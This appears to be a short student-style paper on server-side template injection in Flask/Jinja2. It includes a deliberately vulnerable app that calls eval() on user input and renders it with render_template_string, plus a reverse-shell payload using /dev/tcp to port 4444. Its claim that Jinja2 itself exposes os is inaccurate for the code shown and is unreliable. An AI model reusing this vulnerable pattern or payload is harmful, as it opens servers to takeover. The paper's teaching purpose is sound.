

Server-Side Template Injection (SSTI) in Flask Applications

1 Abstract

Server-Side Template Injection (SSTI) is a critical security vulnerability that arises when untrusted user input is insecurely embedded into server-side templates. This paper investigates SSTI in the context of Python Flask applications that utilize the Jinja2 templating engine. By analyzing a vulnerable Flask application, we demonstrate the risks posed by SSTI attacks and propose strategies for mitigation.

2 Introduction

SSTI is a high-risk security vulnerability that allows attackers to inject and execute malicious code through server-side templates. This can lead to data breaches, server compromise, and unauthorized access. The Python Flask web framework, widely used for its simplicity and extensibility, often employs the Jinja2 templating engine. While Jinja2 enhances developer productivity, its powerful features can also be exploited if input is not properly sanitized. This article examines SSTI, its mechanisms, and its implications for Flask and Jinja2 applications.

3 Related Work

Several studies and security reports highlight the dangers of SSTI across different template engines. Examples include:

- **Python Jinja2:** Known for its capability to access Python objects and functions.
- **PHP Twig:** Exploitable if inputs are not escaped properly.
- **Ruby ERB:** Allows direct execution of Ruby code.
- **Java FreeMarker:** Provides access to Java methods and functions.

These engines, while offering flexibility and dynamic rendering, share common vulnerabilities stemming from inadequate input validation.

4 Attack Description

Server-Side Template Injection (SSTI) occurs when a web application embeds user-supplied input into server-side templates without proper validation or sanitization. This allows attackers to manipulate the template engine to execute unauthorized commands, retrieve sensitive information, or gain control of the underlying server.

Template engines like Jinja2 are widely used for dynamic content rendering, enabling developers to include placeholders within templates. These placeholders are replaced with actual data during rendering. While this mechanism simplifies web development, it introduces significant risks if user inputs are not carefully controlled.

For example, an application might use a placeholder to dynamically display user-provided values. If this input is passed to the template engine without proper validation, attackers can inject malicious payloads that are evaluated and executed. These payloads can perform arithmetic operations, access sensitive configuration settings, or even execute system-level commands.

5 Effects and Attack Mitigation

The consequences of SSTI can be severe:

1. **Code Execution:** Attackers can execute arbitrary code on the server.
2. **Data Exfiltration:** Sensitive information such as environment variables and database credentials can be extracted.
3. **Server Compromise:** Malicious payloads can provide attackers with complete control over the server.

Mitigation Strategies:

- Avoid direct embedding of user input into templates.
- Validate and sanitize all user-provided input using libraries like `flask-wtf`.
- Employ security headers and content restrictions.
- Regularly update dependencies to patch known vulnerabilities.

6 Proof-of-Concept Description and Implementation

The following Flask application demonstrates SSTI vulnerability:

```
import os
from flask import Flask, render_template, render_template_string, request
from flask_cors import CORS

app = Flask(__name__, template_folder=".")
CORS(app) # Enable CORS to allow requests

@app.route("/", methods=["GET"]) # Allow only GET to this endpoint
def index():
    assert os.path.exists("index.html")
    return render_template("index.html")

@app.route("/result", methods=["POST"]) # Allow only POST to this endpoint
def generate_result():
    """
    Get 2 parameters from frontend a and b.
    Sum them and return them to the requester.
    """
    data = request.json

    assert data is not None # Make sure there is data in the POST request

    a = data.get("a", "") # Get parameter a
    b = data.get("b", "") # Get parameter a

    try:
        result_a = eval(a) if a else "" # Evaluate the data to make sure it is
            correct
        result_b = eval(b) if b else ""
        result = f"{a} + {b} = {result_a + result_b}"
    except Exception as e:
        result = f"Eroare: {e}"

    return render_template_string(result) # Send back the response

if __name__ == "__main__":
    app.run(debug=True)
```

An attacker can exploit this by sending a malicious payload such as:

```
{{ os.system("sh -i >& /dev/tcp/127.0.0.1/4444 0>&1") }}
```

This payload uses Jinja2's access to Python objects to open a reverse shell, granting the attacker remote access to the server.

7 Results

By running the above vulnerable Flask application and injecting the crafted payload, we demonstrate the following outcomes:

- Execution of arbitrary commands on the server.
- Successful establishment of a reverse shell.
- Unauthorized access to server resources, highlighting the criticality of SSTI vulnerabilities.

Mitigated applications, where user inputs are sanitized and template rendering is handled securely, effectively prevent such attacks.

8 References

- SSTI Proof-of-Concept: <https://github.com/mstanciu552/ssti-poc-ps>
- Flask Documentation: <https://flask.palletsprojects.com/>
- Jinja2 Documentation: <https://jinja.palletsprojects.com/>